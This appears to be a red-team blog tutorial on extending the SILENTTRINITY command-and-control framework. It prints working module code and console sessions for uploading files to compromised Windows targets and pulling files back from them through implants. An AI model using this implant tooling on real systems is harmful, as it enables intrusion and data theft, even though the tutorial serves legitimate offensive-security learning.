The next image explains by itself how is the dynamic here.
The idea is really simple: we run our initial stager, the target ask for the payload and the encrypted communication continues back and forward waiting for a job, once a job is received the target executes the job (written in IronPython) and the output is sent to the server. I highly recommend to watch Marcello’s talk to have a better idea of what we’re talking about here and learn the beauty of SILENTTRINITY:
This is the fun part. In order to have your Developer Environment up and running follow this Wiki: Setting up your development environment. I’m using PyCharm Community Edition and I’m running Python 3.7.0 on macOS. After creating a virtualenv and importing the Server
folder into the IDE, we’re ready to write some code, but first I’m sharing my PyCharm setting to show you how to properly debug Console apps:
Cool. I’m going to use a simple module written by me called Uploader.
class STModule:
def __init__(self):
self.name = 'uploader'
self.description = 'Upload a file to a destination path.'
self.author = '@davidtavarez'
self.options = {
'File': {
'Description': 'The absolute path of the file.',
'Required': True,
'Value': None
},
'Destination': {
'Description': 'The destination path of the file.',
'Required': False,
'Value': "C:\\\\WINDOWS\\\\Temp\\\\"
}
}
def payload(self):
if self.options['File']['Value'] is None:
return None
import os
import base64
if not os.path.exists(self.options['File']['Value']):
from core.utils import print_bad
print_bad("Selected file do not exists.")
return None
with open(self.options['File']['Value'], "rb") as file:
encoded_string = base64.b64encode(file.read()).decode("utf-8")
with open('modules/src/uploader.py', 'r') as module_src:
src = module_src.read()
src = src.replace("FILENAME", os.path.basename(self.options['File']['Value']))
src = src.replace("DESTINATION", self.options['Destination']['Value'])
src = src.replace("DATA", encoded_string)
return src.encode()
As you can notice, the class of the module must be called STModule
and must include a Constructor
and a definition of the method called payload
. Our constructor must contain at least the next properties:
All options are displayed after we decided to use the module and run the options
command:
ST (modules) ≫ use uploader
ST (modules)(uploader) ≫ options
+-------------+----------+---------------------+-----------------------------------+
| Option Name | Required | Value | Description |
+-------------+----------+---------------------+-----------------------------------+
| File | True | None | The absolute path of the file. |
+-------------+----------+---------------------+-----------------------------------+
| Destination | False | C:\\WINDOWS\\Temp\\ | The destination path of the file. |
+-------------+----------+---------------------+-----------------------------------+
ST (modules)(uploader) ≫
To set a value we need to use the set
command like this:
ST (modules)(uploader) ≫ set File /Users/davidtavarez/uploader.txt
ST (modules)(uploader) ≫ options
+-------------+----------+----------------------------------+-----------------------------------+
| Option Name | Required | Value | Description |
+-------------+----------+----------------------------------+-----------------------------------+
| File | True | /Users/davidtavarez/uploader.txt | The absolute path of the file. |
+-------------+----------+----------------------------------+-----------------------------------+
| Destination | False | C:\\WINDOWS\\Temp\\ | The destination path of the file. |
+-------------+----------+----------------------------------+-----------------------------------+
ST (modules)(uploader) ≫
The payload that is written in IronPython is sent to the target using the payload
method and the source code should be placed inside the folder named src
.
from System import Convert
from System.IO import File
def DecodeBase64File(Data, FileName, FilePath="C:\\WINDOWS\\Temp\\"):
path = "{}{}".format(FilePath, FileName)
File.WriteAllBytes(path,Convert.FromBase64String(Data))
return 'File copied to: {}'.format(path)
print DecodeBase64File("DATA", "FILENAME", FilePath="DESTINATION")
The “tricky” part resides here: print DecodeBase64File("DATA", "FILENAME", FilePath="DESTINATION")
. We’re calling print
to read the results of DecodeBase64File
, so the output is sent to the server:
ST (modules)(uploader) ≫ run all
[+] d53c4737-c23e-4ec6-875a-c59e8ffa7056 returned job result (id: TmbazEXM)
File copied to: C:\WINDOWS\Temp\uploader.txt
Going back to the module code, we’re replacing DATA with the content of the file named FILENAME and then, passing the DESTINATION folder to the payload.
That’s it! Summarizing, there are just two steps:
payload
.options
.I really wanted to manage the output using my module, so I placed a Pull Request for this. This is how my base class looks now:
class Module:
def __init__(self):
self.name = 'module'
self.description = ''
self.author = ''
self.options = {}
def process(self, result):
print(result)
I did create a new module called: Downloader just as PoC:
...
def process(self, result):
b64_string = result.replace("\n", "").replace("\r", "")
b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
b64_string = b64_string.encode()
ba = bytes(b64_string)
with open(self.path, "wb") as file:
file.write(base64.decodebytes(ba))
print_good("File was downloaded successfully: {}".format(self.path))
Now we can have control of the response just overwritting the method: process
.